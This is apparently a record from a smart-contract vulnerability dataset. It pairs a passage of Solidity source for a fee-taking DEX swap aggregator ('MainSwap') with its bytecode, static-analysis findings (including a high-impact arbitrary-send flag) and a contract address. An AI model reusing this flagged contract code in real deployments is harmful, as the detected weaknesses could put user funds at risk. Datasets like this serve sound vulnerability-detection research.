`/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function mint(address to, uint256 amount) external returns(bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library TransferHelper { function safeApprove(address token, address to, uint256 value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint256 value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint256 value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } interface CustomExchange{ enum OrderType {EthForTokens, TokensForEth, TokensForTokens} function getBestQuotation(uint orderType, address[] memory path, uint256 amountIn) external view returns (uint256); function executeSwapping(uint orderType, address[] memory path, uint256 assetInOffered, uint256 assetOutExpected, address to, uint256 deadline) external payable returns(uint[] memory); } contract MainSwap is Ownable { event Received(address, uint); receive() external payable { emit Received(msg.sender, msg.value); } enum OrderType {EthForTokens, TokensForEth, TokensForTokens} using SafeMath for uint256; uint256 public fees = 1000000; // 6 decimal places added mapping (uint=>address) public exchangeList; mapping (address=>bool) public whitelistedToken; uint public totalExchanges = 0; constructor() { } function addExchange(address _exchangeAddress) external onlyOwner { exchangeList[totalExchanges] = _exchangeAddress; totalExchanges = totalExchanges + 1; } function updateExchange(address _exchangeAddress, uint _dexId) external onlyOwner { exchangeList[_dexId] = _exchangeAddress; } function setWhiteListToken(address _tokenAddress, bool _flag) external onlyOwner { whitelistedToken[_tokenAddress] = _flag; } function updateFees(uint256 _newFees) external onlyOwner { fees = _newFees; } function getFeesAmount(uint256 temp) internal view returns (uint256){ return (temp.mul(fees).div(100000000)); } function getBestQuote(uint orderType, address[] memory path, uint256 amountIn) public view returns (uint, uint256) { require((orderType==0)||(orderType==1)||(orderType==2),"Invalid orderType"); uint256 bestAmountOut = 0; uint dexId = 0; uint256 amountInFin = amountIn; bool feeAfterSwap; if(OrderType(orderType) == OrderType.EthForTokens){ amountInFin = amountIn.sub(getFeesAmount(amountIn)); } if (OrderType(orderType) == OrderType.TokensForEth){ feeAfterSwap = true; } if (OrderType(orderType) == OrderType.TokensForTokens){ if(whitelistedToken[path[path.length-1]]){ feeAfterSwap = true; }else{ amountInFin = amountIn.sub(getFeesAmount(amountIn)); } } for(uint i=0;i<totalExchanges;i++){ if(exchangeList[i] == address(0)){ continue; } CustomExchange ExInstance = CustomExchange(exchangeList[i]); uint256 amountOut; try ExInstance.getBestQuotation(orderType, path,amountInFin) returns(uint256 _amountOut){ if(feeAfterSwap){ amountOut = _amountOut.sub(getFeesAmount(_amountOut)); }else{ amountOut = _amountOut; } if(bestAmountOut<amountOut){ bestAmountOut = amountOut; dexId = i; } }catch{} } return (dexId, bestAmountOut); } function executeSwap(uint dexId, uint orderType, address[] memory path, uint256 assetInOffered, uint256 assetOutExpected, uint256 deadline) external payable{ uint[] memory swapResult; uint256 amountInFees; CustomExchange ExInstance = CustomExchange(exchangeList[dexId]); if(OrderType(orderType) == OrderType.EthForTokens){ require(msg.value >= assetInOffered, "amount send is less than mentioned"); amountInFees = getFeesAmount(assetInOffered); TransferHelper.safeTransferETH(owner, amountInFees); ExInstance.executeSwapping{value:assetInOffered.sub(amountInFees)}(orderType, path, assetInOffered.sub(amountInFees), assetOutExpected, msg.sender, deadline); } else if(OrderType(orderType) == OrderType.TokensForEth) { TransferHelper.safeTransferFrom(path[0], msg.sender, exchangeList[dexId], assetInOffered); swapResult = ExInstance.executeSwapping(orderType, path, assetInOffered, assetOutExpected, address(this), deadline); amountInFees = getFeesAmount(uint256(swapResult[1])); TransferHelper.safeTransferETH(owner, amountInFees); TransferHelper.safeTransferETH(msg.sender, swapResult[1].sub(amountInFees)); }else if (OrderType(orderType) == OrderType.TokensForTokens){ if(whitelistedToken[path[path.length-1]]){ TransferHelper.safeTransferFrom(path[0], msg.sender, exchangeList[dexId], assetInOffered); swapResult = ExInstance.executeSwapping(orderType, path, assetInOffered, assetOutExpected, address(this), deadline); amountInFees = getFeesAmount(swapResult[1]); TransferHelper.safeTransfer(path[path.length-1], owner, amountInFees); TransferHelper.safeTransfer(path[path.length-1], msg.sender, swapResult[1].sub(amountInFees)); }else{ amountInFees = getFeesAmount(assetInOffered); TransferHelper.safeTransferFrom(path[0], msg.sender, owner, amountInFees); TransferHelper.safeTransferFrom(path[0], msg.sender, exchangeList[dexId], assetInOffered.sub(amountInFees)); swapResult = ExInstance.executeSwapping(orderType, path, assetInOffered.sub(amountInFees), assetOutExpected, msg.sender, deadline); } } else { revert("Invalid order type"); } } function feesWithdraw(address payable _to) external onlyOwner{ uint256 amount = (address(this)).balance; require(_to.send(amount), "Fee Transfer to Owner failed."); } }
0x6080604052600436106100ec5760003560e01c80639af1d35a1161008a578063e2cc5f3c11610059578063e2cc5f3c146102f0578063e30c39781461032d578063efb5adcc14610358578063fd6ce31d146103955761012c565b80639af1d35a14610235578063aa10ce2214610260578063d64b865814610289578063de492d59146102b25761012c565b806358dc7407116100c657806358dc74071461018d57806378dacee1146101b857806389b73c77146101e15780638da5cb5b1461020a5761012c565b8063078dfbe71461013157806342191f611461015a5780634e71e0c8146101765761012c565b3661012c577f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f885258743334604051610122929190612525565b60405180910390a1005b600080fd5b34801561013d57600080fd5b5061015860048036038101906101539190611fa4565b6103be565b005b610174600480360381019061016f9190612176565b6105d0565b005b34801561018257600080fd5b5061018b610d8b565b005b34801561019957600080fd5b506101a2610f1f565b6040516101af91906126eb565b60405180910390f35b3480156101c457600080fd5b506101df60048036038101906101da91906120ad565b610f25565b005b3480156101ed57600080fd5b5061020860048036038101906102039190611f37565b610fbd565b005b34801561021657600080fd5b5061021f6110df565b60405161022c91906124d3565b60405180910390f35b34801561024157600080fd5b5061024a611103565b60405161025791906126eb565b60405180910390f35b34801561026c57600080fd5b5061028760048036038101906102829190611f0a565b611109565b005b34801561029557600080fd5b506102b060048036038101906102ab9190611f64565b611203565b005b3480156102be57600080fd5b506102d960048036038101906102d49190612107565b6112ec565b6040516102e79291906127ac565b60405180910390f35b3480156102fc57600080fd5b5061031760048036038101906103129190611f0a565b61167a565b604051610324919061254e565b60405180910390f35b34801561033957600080fd5b5061034261169a565b60405161034f91906124d3565b60405180910390f35b34801561036457600080fd5b5061037f600480360381019061037a91906120ad565b6116c0565b60405161038c91906124d3565b60405180910390f35b3480156103a157600080fd5b506103bc60048036038101906103b79190611ff7565b6116f3565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461044c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104439061266b565b60405180910390fd5b811561058957600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158061048b5750805b6104ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c19061262b565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3826000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506105cb565b82600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b505050565b6060600080600360008a815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600281111561061f5761061e612b37565b5b88600281111561063257610631612b37565b5b600281111561064457610643612b37565b5b1415610787578534101561068d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106849061260b565b60405180910390fd5b610696866117d7565b91506106c260008054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361180b565b8073ffffffffffffffffffffffffffffffffffffffff1663cf5f18c66106f1848961190b90919063ffffffff16565b8a8a610706878c61190b90919063ffffffff16565b8a338b6040518863ffffffff1660e01b815260040161072a96959493929190612744565b6000604051808303818588803b15801561074357600080fd5b505af1158015610757573d6000803e3d6000fd5b50505050506040513d6000823e3d601f19601f820116820180604052508101906107819190612037565b50610d80565b6001600281111561079b5761079a612b37565b5b8860028111156107ae576107ad612b37565b5b60028111156107c0576107bf612b37565b5b141561094857610820876000815181106107dd576107dc612b66565b5b602002602001015133600360008d815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1689611955565b8073ffffffffffffffffffffffffffffffffffffffff1663cf5f18c689898989308a6040518763ffffffff1660e01b815260040161086396959493929190612744565b600060405180830381600087803b15801561087d57600080fd5b505af1158015610891573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906108ba9190612037565b92506108e0836001815181106108d3576108d2612b66565b5b60200260200101516117d7565b915061090c60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361180b565b6109433361093e848660018151811061092857610927612b66565b5b602002602001015161190b90919063ffffffff16565b61180b565b610d7f565b60028081111561095b5761095a612b37565b5b88600281111561096e5761096d612b37565b5b60028111156109805761097f612b37565b5b1415610d4357600460008860018a51610999919061299e565b815181106109aa576109a9612b66565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610bd157610a5987600081518110610a1657610a15612b66565b5b602002602001015133600360008d815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1689611955565b8073ffffffffffffffffffffffffffffffffffffffff1663cf5f18c689898989308a6040518763ffffffff1660e01b8152600401610a9c96959493929190612744565b600060405180830381600087803b158015610ab657600080fd5b505af1158015610aca573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610af39190612037565b9250610b1983600181518110610b0c57610b0b612b66565b5b60200260200101516117d7565b9150610b6d8760018951610b2d919061299e565b81518110610b3e57610b3d612b66565b5b602002602001015160008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a8e565b610bcc8760018951610b7f919061299e565b81518110610b9057610b8f612b66565b5b602002602001015133610bc78587600181518110610bb157610bb0612b66565b5b602002602001015161190b90919063ffffffff16565b611a8e565b610d3e565b610bda866117d7565b9150610c2387600081518110610bf357610bf2612b66565b5b60200260200101513360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685611955565b610c8f87600081518110610c3a57610c39612b66565b5b602002602001015133600360008d815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c8a868b61190b90919063ffffffff16565b611955565b8073ffffffffffffffffffffffffffffffffffffffff1663cf5f18c68989610cc0868b61190b90919063ffffffff16565b89338a6040518763ffffffff1660e01b8152600401610ce496959493929190612744565b600060405180830381600087803b158015610cfe57600080fd5b505af1158015610d12573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610d3b9190612037565b92505b610d7e565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d75906125cb565b60405180910390fd5b5b5b505050505050505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e179061268b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60055481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610faa9061266b565b60405180910390fd5b8060028190555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461104b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110429061266b565b60405180910390fd5b60003073ffffffffffffffffffffffffffffffffffffffff163190508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050506110db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d2906125ab565b60405180910390fd5b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611197576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118e9061266b565b60405180910390fd5b8060036000600554815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016005546111fa91906128bd565b60058190555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611291576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112889061266b565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060008514806112fe5750600185145b806113095750600285145b611348576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133f906125eb565b60405180910390fd5b6000806000859050600080600281111561136557611364612b37565b5b89600281111561137857611377612b37565b5b600281111561138a57611389612b37565b5b14156113ae576113ab61139c886117d7565b8861190b90919063ffffffff16565b91505b600160028111156113c2576113c1612b37565b5b8960028111156113d5576113d4612b37565b5b60028111156113e7576113e6612b37565b5b14156113f257600190505b60028081111561140557611404612b37565b5b89600281111561141857611417612b37565b5b600281111561142a57611429612b37565b5b14156114d157600460008960018b51611443919061299e565b8151811061145457611453612b66565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114b257600190506114d0565b6114cd6114be886117d7565b8861190b90919063ffffffff16565b91505b5b60005b60055481101561166757600073ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561154b57611654565b60006003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008173ffffffffffffffffffffffffffffffffffffffff1663038f90e68d8d886040518463ffffffff1660e01b81526004016115c293929190612706565b60206040518083038186803b1580156115da57600080fd5b505afa92505050801561160b57506040513d601f19601f8201168201806040525081019061160891906120da565b60015b61161457611651565b841561163c57611635611626826117d7565b8261190b90919063ffffffff16565b9150611640565b8091505b8188101561164f578197508396505b505b50505b808061165f90612a90565b9150506114d4565b5082849550955050505050935093915050565b60046020528060005260406000206000915054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60036020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611781576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117789061266b565b60405180910390fd5b816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60006118046305f5e1006117f660025485611bc490919063ffffffff16565b611c3f90919063ffffffff16565b9050919050565b60008273ffffffffffffffffffffffffffffffffffffffff1682600067ffffffffffffffff8111156118405761183f612b95565b5b6040519080825280601f01601f1916602001820160405280156118725781602001600182028036833780820191505090505b5060405161188091906124bc565b60006040518083038185875af1925050503d80600081146118bd576040519150601f19603f3d011682016040523d82523d6000602084013e6118c2565b606091505b5050905080611906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fd906126ab565b60405180910390fd5b505050565b600061194d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c89565b905092915050565b6000808573ffffffffffffffffffffffffffffffffffffffff166323b872dd868686604051602401611989939291906124ee565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516119d791906124bc565b6000604051808303816000865af19150503d8060008114611a14576040519150601f19603f3d011682016040523d82523d6000602084013e611a19565b606091505b5091509150818015611a475750600081511480611a46575080806020019051810190611a459190612080565b5b5b611a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7d906126cb565b60405180910390fd5b505050505050565b6000808473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8585604051602401611ac0929190612525565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051611b0e91906124bc565b6000604051808303816000865af19150503d8060008114611b4b576040519150601f19603f3d011682016040523d82523d6000602084013e611b50565b606091505b5091509150818015611b7e5750600081511480611b7d575080806020019051810190611b7c9190612080565b5b5b611bbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb49061258b565b60405180910390fd5b5050505050565b600080831415611bd75760009050611c39565b60008284611be59190612944565b9050828482611bf49190612913565b14611c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2b9061264b565b60405180910390fd5b809150505b92915050565b6000611c8183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ced565b905092915050565b6000838311158290611cd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc89190612569565b60405180910390fd5b5060008385611ce0919061299e565b9050809150509392505050565b60008083118290611d34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2b9190612569565b60405180910390fd5b5060008385611d439190612913565b9050809150509392505050565b6000611d63611d5e846127fa565b6127d5565b90508083825260208201905082856020860282011115611d8657611d85612bc9565b5b60005b85811015611db65781611d9c8882611e30565b845260208401935060208301925050600181019050611d89565b5050509392505050565b6000611dd3611dce84612826565b6127d5565b90508083825260208201905082856020860282011115611df657611df5612bc9565b5b60005b85811015611e265781611e0c8882611ef5565b845260208401935060208301925050600181019050611df9565b5050509392505050565b600081359050611e3f81612e44565b92915050565b600081359050611e5481612e5b565b92915050565b600082601f830112611e6f57611e6e612bc4565b5b8135611e7f848260208601611d50565b91505092915050565b600082601f830112611e9d57611e9c612bc4565b5b8151611ead848260208601611dc0565b91505092915050565b600081359050611ec581612e72565b92915050565b600081519050611eda81612e72565b92915050565b600081359050611eef81612e89565b92915050565b600081519050611f0481612e89565b92915050565b600060208284031215611f2057611f1f612bd3565b5b6000611f2e84828501611e30565b91505092915050565b600060208284031215611f4d57611f4c612bd3565b5b6000611f5b84828501611e45565b91505092915050565b60008060408385031215611f7b57611f7a612bd3565b5b6000611f8985828601611e30565b9250506020611f9a85828601611eb6565b9150509250929050565b600080600060608486031215611fbd57611fbc612bd3565b5b6000611fcb86828701611e30565b9350506020611fdc86828701611eb6565b9250506040611fed86828701611eb6565b9150509250925092565b6000806040838503121561200e5761200d612bd3565b5b600061201c85828601611e30565b925050602061202d85828601611ee0565b9150509250929050565b60006020828403121561204d5761204c612bd3565b5b600082015167ffffffffffffffff81111561206b5761206a612bce565b5b61207784828501611e88565b91505092915050565b60006020828403121561209657612095612bd3565b5b60006120a484828501611ecb565b91505092915050565b6000602082840312156120c3576120c2612bd3565b5b60006120d184828501611ee0565b91505092915050565b6000602082840312156120f0576120ef612bd3565b5b60006120fe84828501611ef5565b91505092915050565b6000806000606084860312156121205761211f612bd3565b5b600061212e86828701611ee0565b935050602084013567ffffffffffffffff81111561214f5761214e612bce565b5b61215b86828701611e5a565b925050604061216c86828701611ee0565b9150509250925092565b60008060008060008060c0878903121561219357612192612bd3565b5b60006121a189828a01611ee0565b96505060206121b289828a01611ee0565b955050604087013567ffffffffffffffff8111156121d3576121d2612bce565b5b6121df89828a01611e5a565b94505060606121f089828a01611ee0565b935050608061220189828a01611ee0565b92505060a061221289828a01611ee0565b9150509295509295509295565b600061222b8383612237565b60208301905092915050565b612240816129d2565b82525050565b61224f816129d2565b82525050565b600061226082612862565b61226a8185612890565b935061227583612852565b8060005b838110156122a657815161228d888261221f565b975061229883612883565b925050600181019050612279565b5085935050505092915050565b6122bc816129f6565b82525050565b60006122cd8261286d565b6122d781856128a1565b93506122e7818560208601612a2c565b80840191505092915050565b60006122fe82612878565b61230881856128ac565b9350612318818560208601612a2c565b61232181612bd8565b840191505092915050565b6000612339601f836128ac565b915061234482612be9565b602082019050919050565b600061235c601d836128ac565b915061236782612c12565b602082019050919050565b600061237f6012836128ac565b915061238a82612c3b565b602082019050919050565b60006123a26011836128ac565b91506123ad82612c64565b602082019050919050565b60006123c56022836128ac565b91506123d082612c8d565b604082019050919050565b60006123e86015836128ac565b91506123f382612cdc565b602082019050919050565b600061240b6021836128ac565b915061241682612d05565b604082019050919050565b600061242e6020836128ac565b915061243982612d54565b602082019050919050565b60006124516020836128ac565b915061245c82612d7d565b602082019050919050565b60006124746023836128ac565b915061247f82612da6565b604082019050919050565b60006124976024836128ac565b91506124a282612df5565b604082019050919050565b6124b681612a22565b82525050565b60006124c882846122c2565b915081905092915050565b60006020820190506124e86000830184612246565b92915050565b60006060820190506125036000830186612246565b6125106020830185612246565b61251d60408301846124ad565b949350505050565b600060408201905061253a6000830185612246565b61254760208301846124ad565b9392505050565b600060208201905061256360008301846122b3565b92915050565b6000602082019050818103600083015261258381846122f3565b905092915050565b600060208201905081810360008301526125a48161232c565b9050919050565b600060208201905081810360008301526125c48161234f565b9050919050565b600060208201905081810360008301526125e481612372565b9050919050565b6000602082019050818103600083015261260481612395565b9050919050565b60006020820190508181036000830152612624816123b8565b9050919050565b60006020820190508181036000830152612644816123db565b9050919050565b60006020820190508181036000830152612664816123fe565b9050919050565b6000602082019050818103600083015261268481612421565b9050919050565b600060208201905081810360008301526126a481612444565b9050919050565b600060208201905081810360008301526126c481612467565b9050919050565b600060208201905081810360008301526126e48161248a565b9050919050565b600060208201905061270060008301846124ad565b92915050565b600060608201905061271b60008301866124ad565b818103602083015261272d8185612255565b905061273c60408301846124ad565b949350505050565b600060c08201905061275960008301896124ad565b818103602083015261276b8188612255565b905061277a60408301876124ad565b61278760608301866124ad565b6127946080830185612246565b6127a160a08301846124ad565b979650505050505050565b60006040820190506127c160008301856124ad565b6127ce60208301846124ad565b9392505050565b60006127df6127f0565b90506127eb8282612a5f565b919050565b6000604051905090565b600067ffffffffffffffff82111561281557612814612b95565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561284157612840612b95565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b60006128c882612a22565b91506128d383612a22565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561290857612907612ad9565b5b828201905092915050565b600061291e82612a22565b915061292983612a22565b92508261293957612938612b08565b5b828204905092915050565b600061294f82612a22565b915061295a83612a22565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561299357612992612ad9565b5b828202905092915050565b60006129a982612a22565b91506129b483612a22565b9250828210156129c7576129c6612ad9565b5b828203905092915050565b60006129dd82612a02565b9050919050565b60006129ef82612a02565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b83811015612a4a578082015181840152602081019050612a2f565b83811115612a59576000848401525b50505050565b612a6882612bd8565b810181811067ffffffffffffffff82111715612a8757612a86612b95565b5b80604052505050565b6000612a9b82612a22565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612ace57612acd612ad9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f5472616e7366657248656c7065723a205452414e534645525f4641494c454400600082015250565b7f466565205472616e7366657220746f204f776e6572206661696c65642e000000600082015250565b7f496e76616c6964206f7264657220747970650000000000000000000000000000600082015250565b7f496e76616c6964206f7264657254797065000000000000000000000000000000600082015250565b7f616d6f756e742073656e64206973206c657373207468616e206d656e74696f6e60008201527f6564000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a207a65726f20616464726573730000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4f776e61626c653a2063616c6c657220213d2070656e64696e67206f776e6572600082015250565b7f5472616e7366657248656c7065723a204554485f5452414e534645525f46414960008201527f4c45440000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657248656c7065723a205452414e534645525f46524f4d5f464160008201527f494c454400000000000000000000000000000000000000000000000000000000602082015250565b612e4d816129d2565b8114612e5857600080fd5b50565b612e64816129e4565b8114612e6f57600080fd5b50565b612e7b816129f6565b8114612e8657600080fd5b50565b612e9281612a22565b8114612e9d57600080fd5b5056fea26469706673582212202343960acf55b9d18dde40752420b8968dc4761506b60f62506a800687f1387364736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
550
0x797730a2533cc749c6fB9d3bF14d42A399eeB02b
